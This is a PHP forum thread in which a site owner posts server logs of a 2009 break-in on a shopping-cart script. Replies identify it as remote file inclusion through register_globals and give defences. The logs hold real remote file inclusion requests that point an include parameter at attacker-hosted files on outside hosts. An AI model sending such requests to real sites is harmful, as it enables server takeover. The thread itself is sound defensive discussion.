Security / hack question

[tHud]

Apologies for the lame subject title - I don't know what to call this thread.

 

Last year, before I'd ever opened a book on php, my site was hacked.

I was using a third party e-commerce script 'Cart Keeper' (since replaced).

 

Somehow, the hackers planted some files on my server that looked like official bank pages (I'm sure you've all seen the sort of thing).

 

Here are some log files sent by my host at that time...

 

"GET

//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???

HTTP/1.1" 200 311 "-" "libwww-perl/5.805"

www.example.com 89.38.128.43 - - [19/Jun/2009:11:58:48 +0100]

"GET

//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???

HTTP/1.1" 200 311 "-" "libwww-perl/5.65"

www.example.com 89.38.128.43 - - [19/Jun/2009:11:58:49 +0100]

"GET

//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???

HTTP/1.1" 200 311 "-" "libwww-perl/5.65"

www.example.com 89.38.128.43 - - [19/Jun/2009:11:59:24 +0100]

"GET

/arts//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???

HTTP/1.1" 302 313 "-" "libwww-perl/5.65"

www.example.com 66.249.134.74 - - [19/Jun/2009:12:01:26 +0100]

"GET

//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???

HTTP/1.1" 200 311 "-" "libwww-perl/5.805"

www.example.com 66.249.134.74 - - [19/Jun/2009:12:01:28 +0100]

"GET

//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???

HTTP/1.1" 200 311 "-" "libwww-perl/5.805"

www.example.com 66.249.134.74 - - [19/Jun/2009:12:01:32 +0100]

"GET

/ckshop.php?category=21//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???

HTTP/1.1" 200 42 "-" "libwww-perl/5.805"

www.example.com 89.38.128.43 - - [19/Jun/2009:12:01:47 +0100]

"GET

/ckshop.php//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???

HTTP/1.1" 200 311 "-" "libwww-perl/5.65"

www.example.com 89.38.128.43 - - [19/Jun/2009:12:01:48 +0100]

"GET

/ckshop.php//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???

HTTP/1.1" 200 311 "-" "libwww-perl/5.65"

www.example.com 89.38.128.43 - - [19/Jun/2009:12:01:49 +0100]

"GET

/ckshop.php?category=21//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???

HTTP/1.1" 200 42 "-" "libwww-perl/5.65"

www.example.com 89.38.128.43 - - [19/Jun/2009:11:58:52 +0100]

"GET //ckshop.php?incdir=http://racrew.us/ec.txt?? HTTP/1.1" 200 357 "-"

"libwww-perl/5.65"

 

and here is what they wrote to me at the time...

 

The majority of these files where then caught by our egress firewall as

they had completed as the file in question had allowed the http user to

call a shell and use a variety of code (wget lwp et al) to call in

external toolkits.

 

This attack was mostly mechanised, however was changing so it is my

belief that the perpetrator was reconfiguring the attack as he went as

failures where seen.

 

Please check your site code for possible updates, security updates, and

ensure that no files have been changed that should not have been.

 

Please confirm that you have read this mail and are aware of the

implications / taking action.

 

Can someone identify the name of this type of attack?

...and possibly a tutorial on securing against this form of attack?

As I am learning php, I would like to make sure it doesn't happen again.

 

 

Many thanks for your help

[PFMaBiSmAd]

Not knowing the script in question, there's two possibilities -

 

1) Your php script was using a GET parameter on the end of the URL as the name of a file to include/require and was not validating what it was passed AND the php.ini settings that allowed remote files to be included was ON and someone got your script to include their raw php code and run it on your server, or

 

2) Your php script was expecting a variable $incdir to hold the path/name where it included files  from, but register_globals are turned on and the setting that allows remote files to be included is ON and they were able to set $incdir to point to their raw php files when they requested your script. They were also able to request a file of your script that was intended to be included into a page rather than requested directly and that code then included their raw php code and executed it on your server.

 

The second case is more likely given the incdir name being used.

 

Register_globals were turned off by default in php4.2 in the year 2002 precisely because of this. They magically allowed hackers to set your program variables and session variables to any value they want when they make a http request to your code and a lot of web sites have been taken over.

 

Here's a list of things that should have been done differently -

 

1) All external data must be validated.

 

2) Files being included should check if they were requested/browsed to directly or they should be put into a location where they cannot be requested directly.

 

3) register_globals was the worst security hole ever deliberately (yes they did this on purpose as a lazy-way short-cut) put into a programming language and when the security problems with it were discovered, it should have been permanently turned off. If this setting is on, your web host is partly responsible by not following the recommendation to turn it off over 8 years ago. The people who wrote the script should have also been aware of this security hole present in php and should have done item #2 on this list.

 

4) The setting that allows remote files to be included should be turned off whenever possible, in case someone didn't do items #1 and #2 on this list.

[tHud]

Thank you for taking the time to answer so comprehensively.

 

Would you mind elaborating a little on point #2

(2) Files being included should check if they were requested/browsed to directly or they should be put into a location where they cannot be requested directly.)

 

Is this sort of thing known as XSS?

 

Thanks again

[jcbones]

When I include files I do 2 things.

 

1. I define a constant, and then check it in the included file.

index.php

define('IN_PROGRAM',true);

IncludedFile.php

if(!defined('IN_PROGRAM')) {
die('You cannot access this file directly!');
}

 

2. I use .htaccess in my include directory.  I set it to deny all, so only the server can access those files.

.htaccess

order deny,allow
deny from all

 

 

It is better to be sure, so I use both.

[PFMaBiSmAd]

Actually this would be referred to as remote code execution/inclusion or arbitrary code execution. Getting remote code to be included and executed on your server. This remote code would typically be just the first step and it would place a complete management script onto your server that is then used to do anything the hacker wants.

 

XSS (cross site scripting) generally refers to getting some client-side javascript code to either be posted on your site or in a link that is made to your site so that when the client-side code is executed in the visitor's browser, it sends information that is specific to your site to the hacker, such as session id cookies.

 

There are at least three different ways that a script can check if it has been browsed to directly or if it was included -

 

1) The main script sets a variable that the included code tests. Unfortunately, if register_globals are ON, this can be bypassed/faked out. Register_globals was really a huge blunder.

 

2) The main script defines a constant that the included code tests. This cannot be faked.

 

3) The included code tests if the requested filename (the file in the http request) is the same as the included file name. If the included file is directly requested, the requested filename will be the same as the included filename.

 

There are at least two useful ways to prevent http requests directly to included files. If either of these options are available and/or the exact method of setting them up is specific to how the web host has setup the server, what type of web server, and how php is installed on the web server -

 

1) Place the files into a folder that is outside of your document_root folder (i.e. closer to the disk root).

 

2) Place the files into a folder that you have prevented http requests in. For Apache web servers you would put a .haccess file in the folder that denies all http requests.

[tHud]

Got it.

Many thanks for that - lots more reading to do now...